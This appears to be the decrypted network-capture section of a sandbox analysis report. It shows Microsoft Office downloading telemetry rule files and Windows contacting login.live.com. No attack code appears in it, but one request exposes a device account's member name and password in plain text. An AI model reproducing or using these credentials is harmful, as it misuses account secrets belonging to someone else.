2024-11-20 07:09:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49779	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: eb1ded04-b01e-0097-298c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070921Z-r1d97b9957789nh9hC1TEBxha800000008r0000000003tr9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49781	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:21 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: bdf962e5-c01e-0066-1b8c-3aa1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070921Z-185f5d8b95cdtclvhC1NYC4rmc0000000a40000000001103 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:21 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49782	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:21 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: b82db720-b01e-0053-528c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070921Z-185f5d8b95c95vpshC1NYC759c00000009ug00000000fvbp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:21 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	49783	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:21 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: a1d80e42-301e-0096-338c-3ae71d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070921Z-185f5d8b95cx9g8lhC1NYCtgvc000000029g000000004w2r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:21 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49788	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-11-20 07:09:21 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-20 07:09:22 UTC	568	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 20 Nov 2024 07:08:21 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C555_SN1 x-ms-request-id: bbf199a8-4b18-476e-8d97-61eb5e33f54b PPServer: PPV: 30 H: SN1PEPF0002FA12 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:21 GMT Connection: close Content-Length: 1276
2024-11-20 07:09:22 UTC	1276	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49789	40.126.32.136	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	446	OUT	POST /ppsecure/deviceaddcredential.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 7642 Host: login.live.com
2024-11-20 07:09:21 UTC	7642	OUT	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 71 75 65 73 74 3e 3c 43 6c 69 65 6e 74 49 6e 66 6f 20 6e 61 6d 65 3d 22 49 44 43 52 4c 22 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 3e 3c 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 32 34 3c 2f 42 69 6e 61 72 79 56 65 72 73 69 6f 6e 3e 3c 2f 43 6c 69 65 6e 74 49 6e 66 6f 3e 3c 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 6e 6c 75 78 6d 70 61 6d 6e 6b 6c 6a 61 69 3c 2f 4d 65 6d 62 65 72 6e 61 6d 65 3e 3c 50 61 73 73 77 6f 72 64 3e 45 6d 42 43 47 4d 2d 41 21 42 32 23 4c 40 63 41 64 6f 6f 6a 3c 2f 50 61 73 73 77 6f 72 64 3e 3c 2f 41 75 74 68 65 6e 74 69 63 61 74 69 6f 6e 3e 3c 4f 6c 64 4d 65 6d 62 65 72 6e 61 6d 65 3e 30 32 76 6e 71 75 73 6b 66 70 70 70 63 69 76 63 3c 2f 4f 6c 64 4d Data Ascii: <DeviceAddRequest><ClientInfo name="IDCRL" version="1.0"><BinaryVersion>24</BinaryVersion></ClientInfo><Authentication><Membername>02nluxmpamnkljai</Membername><Password>EmBCGM-A!B2#L@cAdooj</Password></Authentication><OldMembername>02vnquskfpppcivc</OldM
2024-11-20 07:09:23 UTC	542	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: text/xml Expires: Wed, 20 Nov 2024 07:08:22 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C542_BAY x-ms-request-id: dcd5ec74-d3a8-4a65-bd9e-7028ca126fb0 PPServer: PPV: 30 H: PH1PEPF0001B8A9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 20 Nov 2024 07:09:23 GMT Connection: close Content-Length: 17166
2024-11-20 07:09:23 UTC	15842	IN	Data Raw: 3c 44 65 76 69 63 65 41 64 64 52 65 73 70 6f 6e 73 65 20 53 75 63 63 65 73 73 3d 22 74 72 75 65 22 3e 3c 73 75 63 63 65 73 73 3e 74 72 75 65 3c 2f 73 75 63 63 65 73 73 3e 3c 70 75 69 64 3e 30 30 31 38 43 30 30 46 32 36 30 30 41 45 42 46 3c 2f 70 75 69 64 3e 3c 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 33 3c 2f 44 65 76 69 63 65 54 70 6d 4b 65 79 53 74 61 74 65 3e 3c 4c 69 63 65 6e 73 65 20 43 6f 6e 74 65 6e 74 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 2d 38 63 63 35 2d 62 32 66 35 33 63 38 33 30 62 37 36 22 20 49 44 3d 22 33 33 37 35 64 66 30 66 2d 31 35 62 33 2d 34 65 64 61 2d 61 63 34 37 2d 33 38 38 39 62 34 62 31 61 62 31 34 22 20 4c 69 63 65 6e 73 65 49 44 3d 22 33 32 35 32 62 32 30 63 2d 64 34 32 35 2d 34 37 31 31 Data Ascii: <DeviceAddResponse Success="true"><success>true</success><puid>0018C00F2600AEBF</puid><DeviceTpmKeyState>3</DeviceTpmKeyState><License ContentID="3252b20c-d425-4711-8cc5-b2f53c830b76" ID="3375df0f-15b3-4eda-ac47-3889b4b1ab14" LicenseID="3252b20c-d425-4711
2024-11-20 07:09:23 UTC	1324	IN	Data Raw: 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 39 2f 78 6d 6c 64 73 69 67 23 65 6e 76 65 6c 6f 70 65 64 2d 73 69 67 6e 61 74 75 72 65 22 2f 3e 3c 2f 54 72 61 6e 73 66 6f 72 6d 73 3e 3c 44 69 67 65 73 74 4d 65 74 68 6f 64 20 41 6c 67 6f 72 69 74 68 6d 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 30 34 2f 78 6d 6c 65 6e 63 23 73 68 61 32 35 36 22 2f 3e 3c 44 69 67 65 73 74 56 61 6c 75 65 3e 67 74 71 77 70 52 35 66 47 44 61 6f 48 73 4d 37 49 57 47 4b 5a 67 61 77 58 61 30 42 50 69 47 61 65 35 62 49 75 6e 2f 52 51 4a 41 3d 3c 2f 44 69 67 65 73 74 56 61 6c 75 65 3e 3c 2f 52 65 66 65 72 65 6e 63 65 3e 3c 2f 53 69 67 6e 65 64 49 6e 66 6f 3e 3c 53 69 67 6e 61 74 75 72 65 56 61 6c 75 65 3e 41 46 38 6f 46 52 2b 47 66 Data Ascii: tp://www.w3.org/2000/09/xmldsig#enveloped-signature"/></Transforms><DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><DigestValue>gtqwpR5fGDaoHsM7IWGKZgawXa0BPiGae5bIun/RQJA=</DigestValue></Reference></SignedInfo><SignatureValue>AF8oFR+Gf

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	49791	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:21 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:21 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:21 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: 7511ce5b-801e-0083-468c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070921Z-1777c6cb754whff4hC1TEBcd6c00000007tg00000000gygt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:21 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.5	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:22 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:22 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:22 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: b82db7f7-b01e-0053-188c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070922Z-r1d97b9957789nh9hC1TEBxha800000008mg00000000anvk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:22 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.5	49800	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 07:09:22 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 07:09:22 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:22 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: 302bdaed-601e-003e-338c-3a3248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T070922Z-185f5d8b95c4vwv8hC1NYCy4v40000000a3g000000002n11 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 07:09:22 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.5	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
